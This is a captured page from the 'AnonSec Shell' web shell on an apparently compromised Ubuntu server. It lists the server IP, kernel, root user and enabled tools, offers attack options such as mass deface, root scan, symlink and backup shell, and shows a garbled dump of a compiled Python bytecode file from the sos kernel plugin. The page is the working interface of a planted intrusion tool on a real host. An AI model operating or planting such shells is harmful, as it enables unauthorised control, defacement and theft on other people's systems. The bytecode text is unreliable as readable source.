AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/kernel.cpython-310.pyc
o

���b��@s2ddlmZmZmZddlZGdd�dee�ZdS)�)�Plugin�IndependentPlugin�	PluginOptNc@sHeZdZdZdZdZdZdZdZe	ddd	d
�e	dddd
�gZ
d
d�ZdS)�Kernela�The Kernel plugin is aimed at collecting general information about
    the locally running kernel. This information should be distribution-neutral
    using commands and filesystem collections that are ubiquitous across
    distributions.

    Debugging information from /sys/kernel/debug is collected by default,
    however care is taken so that these collections avoid areas like
    /sys/kernel/debug/tracing/trace_pipe which would otherwise cause the
    sos collection attempt to appear to 'hang'.

    The 'trace' option will enable the collection of the
    /sys/kernel/debug/tracing/trace file specfically, but will not change the
    behavior stated above otherwise.
    zLinux kernel�kernel)�system�hardwarer)zkernel$z/sys/module�
with-timerFzgather /proc/timer* statistics)�default�desc�tracez+gather /sys/kernel/debug/tracing/trace filecCs�|jddd�|jddd�|�d�z|�|j�}|jdd�|�dd	d
�Wnty9|�d|j�Ynwgd�}g}|D]
}|�t�|��qB|rY|�d
d�|��|jgd�dd�d}|�gd��|�	gd�d�d�d�d�d�d�d�d�d�d�d�d�d �d!|j
���d"�d#�d$�d%�d&�d'�d(�d)�d*�d+�d,�d-�d.�d/�d0�d1�d2�d3�|d4�|d5�d6��|�d7�r�|�	d8�|�d9�s�|�d:�dSdS);Nzuname -a�uname)�root_symlink�lsmodzls -lt /sys/kernel/slabzmodinfo � �modinfo_ALL_MODULES�modinfo_all)�suggest_filename�tagszcould not list %s)z/lib/modules/*/extraz/lib/modules/*/updatesz/lib/modules/*/weak-updateszfind %s -ls)�dmesgz	sysctl -azdkms statusT)�
cmd_as_tagz-/sys/devices/system/clocksource/clocksource0/)z$/sys/kernel/debug/tracing/trace_pipez /sys/kernel/debug/tracing/READMEz$/sys/kernel/debug/tracing/trace_statz!/sys/kernel/debug/tracing/per_cpuz /sys/kernel/debug/tracing/eventsz%/sys/kernel/debug/tracing/free_bufferz&/sys/kernel/debug/tracing/trace_markerz*/sys/kernel/debug/tracing/trace_marker_rawz</sys/kernel/debug/tracing/instances/*/per_cpu/*/snapshot_rawz;/sys/kernel/debug/tracing/instances/*/per_cpu/*/trace_pipe*z0/sys/kernel/debug/tracing/instances/*/trace_pipez
/proc/modulesz/proc/sys/kernel/random/boot_idz/sys/module/*/parametersz/sys/module/*/initstatez/sys/module/*/refcntz/sys/module/*/taintz/sys/module/*/versionz/sys/firmware/acpi/*z/sys/kernel/debug/tracing/*z/sys/kernel/livepatch/*z/proc/kallsymsz/proc/buddyinfoz/proc/slabinfoz/proc/zoneinfoz/lib/modules/%s/modules.depz/etc/conf.modulesz/etc/modules.confz/etc/modprobe.confz/etc/modprobe.dz/etc/sysctl.confz
/etc/sysctl.dz
/lib/sysctl.dz
/proc/cmdlinez/proc/driverz/proc/sys/kernel/taintedz/proc/softirqsz/proc/lock*z
/proc/miscz/var/log/dmesgz/sys/fs/pstorez'/sys/kernel/debug/dynamic_debug/controlz(/sys/kernel/debug/extfrag/unusable_indexz'/sys/kernel/debug/extfrag/extfrag_index�available_clocksource�current_clocksourcez/proc/pressure/r	z/proc/timer*rz/sys/kernel/debug/tracing/trace)
�add_cmd_output�listdir�
sys_module�join�OSError�	_log_warn�extend�glob�add_forbidden_path�
add_copy_spec�policy�kernel_version�
get_option)�self�modules�extra_mod_patterns�extra_mod_paths�pattern�clocksource_path�r,�;/usr/lib/python3/dist-packages/sos/report/plugins/kernel.py�setup,s�

��
���������	�
���
������������������� �!�"�#�$�
'

�zKernel.setupN)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�verify_packagesrr�option_listr.r,r,r,r-r
s���r)�sos.report.pluginsrrrr rr,r,r,r-�<module>s

Anon7 - 2022
AnonSec Team